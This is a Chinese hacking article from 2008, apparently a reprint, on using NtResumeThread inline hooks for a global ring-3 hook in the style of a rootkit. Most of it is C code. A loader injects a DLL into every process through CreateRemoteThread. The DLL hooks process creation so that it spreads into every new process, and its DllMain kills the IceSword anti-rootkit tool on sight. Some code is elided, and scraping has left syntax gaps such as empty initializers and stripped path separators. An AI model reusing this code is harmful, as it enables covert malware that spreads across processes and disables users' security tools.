挂钩 NtResumeThread 实现全局Hook

ZDNet 安全频道频道 更新时间:2008-06-25 作者: 来源:SohuIT

本文关键词:hook dword null

  挂钩 NtResumeThread 实现全局Hook

  zhouzhenster@gmail.com

  zhouzhen[E.S.T]

  挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。

  似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然

  是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,

  因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是

  无法接受蓝屏和死机的。

  感兴趣的可以装个Rootkit unhooker 自己看看。 :)

  1. 以往的Ring 3全局Hook

  纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:

  HHOOK SetWindowsHookEx(

  int idHook,

  HOOKPROC lpfn,

  HINSTANCE hMod,

  DWORD dwThreadId

  );

  idhook 安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等

  lpfn hook procedure 的指针

  hmod 包含 hook procedure DLL 的handle

  dwThread 为0

  使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面

  的程序,Windows console 类的程序就无能为力了。

  还有一种通过插入注册表来实现

  HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs

  这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。

  以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess

  这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。

  a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,

  而当NtCreateProcess返回时,进程又已经开始运行

  b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可

  以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只

  用SetWindowsHookEx

  c. 是否正好站在了华容道,是否足够底层。

  似乎很费劲

  2. 分析系统创建进程过程,寻找方法

  关于这方面内容,可以参考毛德操老师的两篇文章

  《漫谈兼容内核之十七:再谈Windows的进程创建》

  《漫谈兼容内核之二十二:Windows线程的调度和运行》

  下面是他的blog 链接:

  http://hi.baidu.com/fatbsd/blog

  CreateProcess 是 Kernel32.dll 的导出函数。

  操起WinDbg,剁了一下: Windows 2003 SP2

  lkd> uf CreateProcessW

  kernel32!CreateProcessW:

  7c802474 8bff mov edi,edi

  7c802476 55 push ebp

  7c802477 8bec mov ebp,esp

  7c802479 6a00 push 0x0

  7c80247b ff752c push dword ptr [ebp+0x2c]

  7c80247e ff7528 push dword ptr [ebp+0x28]

  7c802481 ff7524 push dword ptr [ebp+0x24]

  7c802484 ff7520 push dword ptr [ebp+0x20]

  7c802487 ff751c push dword ptr [ebp+0x1c]

  7c80248a ff7518 push dword ptr [ebp+0x18]

  7c80248d ff7514 push dword ptr [ebp+0x14]

  7c802490 ff7510 push dword ptr [ebp+0x10]

  7c802493 ff750c push dword ptr [ebp+0xc]

  7c802496 ff7508 push dword ptr [ebp+0x8]

  7c802499 6a00 push 0x0

  7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)

  7c8024a0 5d pop ebp

  7c8024a1 c22800 ret 0x28

  lkd> uf CreateProcessInternalW

  ....

  7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]

  ....

  7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]

  ....

  7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]

  大概流程如下:

  Kernel32!CreateProcessW

  Kernel32!CreateProcessInternalW

  ntdll!NtCreateProcessEx

  ntdll!NtCreateThread

  ntdll!NtResumeThread

  因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。

  所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,

  但是进程并没有调度起来,呵呵,方便干坏事啊。

  3. 具体代码实现

  基本思路已经清晰了,这里还几个问题。

  a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时

  调用的NtResumeThread呢?

  其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到

  NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。

  b. 用什么方法Hook , IAT、Inline? 总的架构?

  这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。

  枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程

  创建时,将DLL 插入新进程。

  下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。

  Hook 也不是不是我们这次的主要内容,感兴趣的可以参考

  http://www.xfocus.net/articles/200403/681.html

  c. 在多线程的环境下是否可靠?

  使用关键代码段,互斥锁,效果还可以。

  Loader:

  void inject(HANDLE hProcess){

  char CurPath[256] = ;

  strcpy(CurPath, "C:WINDOWSsystem32Hook.dll");

  PWSTR pszLibFileRemote = NULL;

  int len = (lstrlen(CurPath)+1)*2;

  WCHAR wCurPath[256];

  MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

  pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,

  NULL,

  len,

  MEM_COMMIT,

  PAGE_READWRITE);

  WriteProcessMemory(hProcess, pszLibFileRemote,

  (PVOID) wCurPath, len, NULL);

  PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

  GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  CreateRemoteThread(hProcess,

  NULL,

  0,

  pfnThreadRtn,

  pszLibFileRemote,

  0,

  NULL);

  }

  void TotalInject()

  {

  HANDLE hProcessSnap = NULL;

  BOOL bRet = FALSE;

  PROCESSENTRY32 pe32 = ;

  // Take a snapshot of all processes in the system.

  EnableDebugPrivilege(1);

  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  if (hProcessSnap == INVALID_HANDLE_VALUE)

  return;

  // Fill in the size of the structure before using it.

  pe32.dwSize = sizeof(PROCESSENTRY32);

  // Walk the snapshot of the processes, and for each process,

  // display information.

  if (Process32First(hProcessSnap, &pe32))

  {

  do

  {

  HANDLE hProcess;

  // Get the actual priority class.

  hProcess = OpenProcess (PROCESS_ALL_ACCESS,

  FALSE,

  pe32.th32ProcessID);

  inject(hProcess);

  CloseHandle(hProcess);

  }

  while (Process32Next(hProcessSnap, &pe32));

  }

  // Do not forget to clean up the snapshot object.

  EnableDebugPrivilege(0);

  CloseHandle (hProcessSnap);

  return ;

  }

  Hook.dll: 关键代码

  #include "stdafx.h"

  #include

  BOOL g_bHook = FALSE;

  typedef LONG NTSTATUS;

  #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

  #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

  #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

  typedef ULONG SYSTEM_INFORMATION_CLASS;

  typedef ULONG THREADINFOCLASS;

  typedef ULONG PROCESSINFOCLASS;

  typedef ULONG KPRIORITY;

  #define MEMORY_BASIC_INFORMATION_SIZE 28

  typedef struct _THREAD_BASIC_INFORMATION {

  NTSTATUS ExitStatus;

  PNT_TIB TebBaseAddress;

  CLIENT_ID ClientId;

  KAFFINITY AffinityMask;

  KPRIORITY Priority;

  KPRIORITY BasePriority;

  } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

  typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0

  NTSTATUS ExitStatus;

  PVOID PebBaseAddress;

  KAFFINITY AffinityMask;

  KPRIORITY BasePriority;

  ULONG UniqueProcessId;

  ULONG InheritedFromUniqueProcessId;

  } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

  typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(

  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

  OUT PVOID SystemInformation,

  IN ULONG SystemInformationLength,

  OUT PULONG ReturnLength OPTIONAL );

  typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(

  IN HANDLE ThreadHandle,

  OUT PULONG PreviousSuspendCount OPTIONAL

  );

  typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(

  IN HANDLE ThreadHandle,

  IN THREADINFOCLASS ThreadInformationClass,

  OUT PVOID ThreadInformation,

  IN ULONG ThreadInformationLength,

  OUT PULONG ReturnLength OPTIONAL);

  typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(

  IN HANDLE ProcessHandle,

  IN PROCESSINFOCLASS ProcessInformationClass,

  OUT PVOID ProcessInformation,

  IN ULONG ProcessInformationLength,

  OUT PULONG ReturnLength OPTIONAL);

  NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;

  NTRESUMETHREAD g_pfNtResumeThread = NULL;

  BYTE g_OldNtQuerySystemInformation[5] = , g_NewNtQuerySystemInformation[5] = ;

  BYTE g_OldNtResumeThread[5] = , g_NewNtResumeThread[5] = ;

  DWORD dwIdOld = 0;

  CRITICAL_SECTION cs;

  NTSTATUS __stdcall NewNtQuerySystemInformation(

  IN ULONG SystemInformationClass,

  IN PVOID SystemInformation,

  IN ULONG SystemInformationLength,

  OUT PULONG ReturnLength);

  NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

  OUT PULONG PreviousSuspendCount OPTIONAL);

  void WINAPI HookOn();

  void WINAPI HookOff();

  BOOL APIENTRY DllMain( HANDLE hModule,

  DWORD ul_reason_for_call,

  LPVOID lpReserved )

  {

  switch (ul_reason_for_call)

  {

  case DLL_PROCESS_ATTACH:

  {

  InitializeCriticalSection(&cs);

  char Name[MAX_PATH] = ;

  GetModuleFileName(NULL, Name, MAX_PATH);

  // 杀杀冰刃玩玩

  if ( strstr(Name, "IceSword.exe") != NULL)

  {

  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,

  0,

  GetCurrentProcessId());

  TerminateProcess(hProcess, 0);

  CloseHandle(hProcess);

  }

  if(!g_bHook)

  {

  HookOn();

  }

  #ifdef _DEBUG

  MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);

  #endif

  }

  break;

  case DLL_THREAD_ATTACH:

  break;

  case DLL_THREAD_DETACH:

  break;

  case DLL_PROCESS_DETACH:

  if(g_bHook)

  {

  HookOff();

  #ifdef _DEBUG

  MessageBox(NULL, "Off!", "Hook Off", MB_OK);

  #endif

  DeleteCriticalSection(&cs);

  }

  break;

  }

  return TRUE;

  }

  BOOL EnableDebugPrivilege(BOOL fEnable) {

  // Enabling the debug privilege allows the application to see

  // information about service applications

  BOOL fOk = FALSE; // Assume function fails

  HANDLE hToken;

  // Try to open this process’s access token

  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,

  &hToken)) {

  // Attempt to modify the "Debug" privilege

  TOKEN_PRIVILEGES tp;

  tp.PrivilegeCount = 1;

  LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

  tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

  AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

  fOk = (GetLastError() == ERROR_SUCCESS);

  CloseHandle(hToken);

  }

  return(fOk);

  }

  #define ThreadBasicInformation 0

  void inject(HANDLE hProcess){

  char CurPath[256] = ;

  GetSystemDirectory(CurPath, 256);

  strncat(CurPath, "Hook.dll", 9);

  //strcpy(CurPath, "C:WINDOWSsystem32Hook.dll");

  PWSTR pszLibFileRemote = NULL;

  int len = (lstrlen(CurPath)+1)*2;

  WCHAR wCurPath[256];

  MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

  EnableDebugPrivilege(1);

  pszLibFileRemote = (PWSTR)

  VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);

  WriteProcessMemory(hProcess, pszLibFileRemote,

  (PVOID) wCurPath, len, NULL);

  PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

  GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  HANDLE hRemoteThread = CreateRemoteThread(hProcess,

  NULL,

  0,

  pfnThreadRtn,

  pszLibFileRemote,

  0,

  NULL);

  WaitForSingleObject(hRemoteThread, INFINITE);

  CloseHandle(hRemoteThread);

  EnableDebugPrivilege(0);

  }

  NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

  OUT PULONG PreviousSuspendCount OPTIONAL)

  {

  NTSTATUS ret;

  NTSTATUS nStatus;

  NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;

  NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;

  THREAD_BASIC_INFORMATION ti;

  DWORD Pid = 0;

  HMODULE hNtdll = GetModuleHandle("ntdll.dll");

  NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,

  "NtQuerySystemInformation");

  NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,

  "NtQueryInformationThread");

  if (NtQueryInformationThread == NULL)

  {

  #ifdef _DEBUG

  MessageBox(NULL, "can’t get NtQueryInformationThread", "", MB_OK);

  #endif

  }

  nStatus = NtQueryInformationThread(ThreadHandle,

  ThreadBasicInformation,

  (PVOID)&ti,

  sizeof(THREAD_BASIC_INFORMATION),

  NULL);

  if(nStatus != STATUS_SUCCESS)

  {

  #ifdef _DEBUG

  MessageBox(NULL, "fuck failed", "", MB_OK);

  #endif

  }

  Pid = (DWORD)(ti.ClientId.UniqueProcess);

  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);

  if (hProcess == NULL)

  {

  #ifdef _DEBUG

  MessageBox(NULL, "open process failed", "", MB_OK);

  #endif

  }

  BYTE FirstByte[1] = ;

  // check if the process has been hooked

  ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);

  // 已经被Hook了

  if ( FirstByte[0] == 0xe9)

  {

  HookOff();

  ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

  HookOn();

  CloseHandle(hProcess);

  return ret;

  }

  // 创建新进程的调用,Hook 之

  else

  {

  HookOff();

  inject(hProcess);

  ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

  HookOn();

  CloseHandle(hProcess);

  return ret;

  }

  }

  NTSTATUS __stdcall NewNtQuerySystemInformation(

  IN ULONG SystemInformationClass,

  IN PVOID SystemInformation,

  IN ULONG SystemInformationLength,

  OUT PULONG ReturnLength)

  {

  NTSTATUS ntStatus;

  HookOff();

  ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,

  SystemInformation,

  SystemInformationLength,

  ReturnLength);

  HookOn();

  return ntStatus;

  }

  void WINAPI HookOn()

  {

  PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;

  DWORD dwOldProtect, dwOldProtect2;

  HANDLE hProcess = NULL;

  dwIdOld = GetCurrentProcessId();

  hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);

  if(hProcess == NULL)

  return ;

  HMODULE hNtdll = GetModuleHandle("ntdll.dll");

  g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,

  "NtQuerySystemInformation");

  if (g_pfNtQuerySystemInformation == NULL)

  {

  return;

  }

  g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");

  if (g_pfNtResumeThread == NULL)

  {

  return;

  }

  EnterCriticalSection(&cs);

  _asm

  {

  lea edi,g_OldNtQuerySystemInformation

  mov esi,g_pfNtQuerySystemInformation

  cld

  mov ecx,5

  rep movsb

  lea edi,g_OldNtResumeThread

  mov esi,g_pfNtResumeThread

  cld

  mov ecx,5

  rep movsb

  }

  g_NewNtQuerySystemInformation[0] = 0xe9;

  g_NewNtResumeThread[0] = 0xe9;

  _asm

  {

  lea eax, NewNtQuerySystemInformation

  mov ebx, g_pfNtQuerySystemInformation

  sub eax, ebx

  sub eax, 5

  mov dword ptr [g_NewNtQuerySystemInformation + 1], eax

  lea eax, NewNtResumeThread

  mov ebx, g_pfNtResumeThread

  sub eax, ebx

  sub eax, 5

  mov dword ptr [g_NewNtResumeThread + 1], eax

  }

  .......

  LeaveCriticalSection(&cs);

  g_bHook = TRUE;

  }

  // 还原被修改的代码

  void WINAPI HookOff()

  {

  ......

  g_bHook = FALSE;

  }

  4. 参考资料

  Microsoft MSDN,SDK & DDK

  《Windows NT 2000 Native API Reference》

  《Windows 核心编程》

  《挂钩Windows API》

  《如何在Windows NT中隐藏自己》

  #

  # EOF

  #

安全频道 hook 最新报道

安全频道 dword 最新报道

安全频道 null 最新报道

[an error occurred while processing this directive]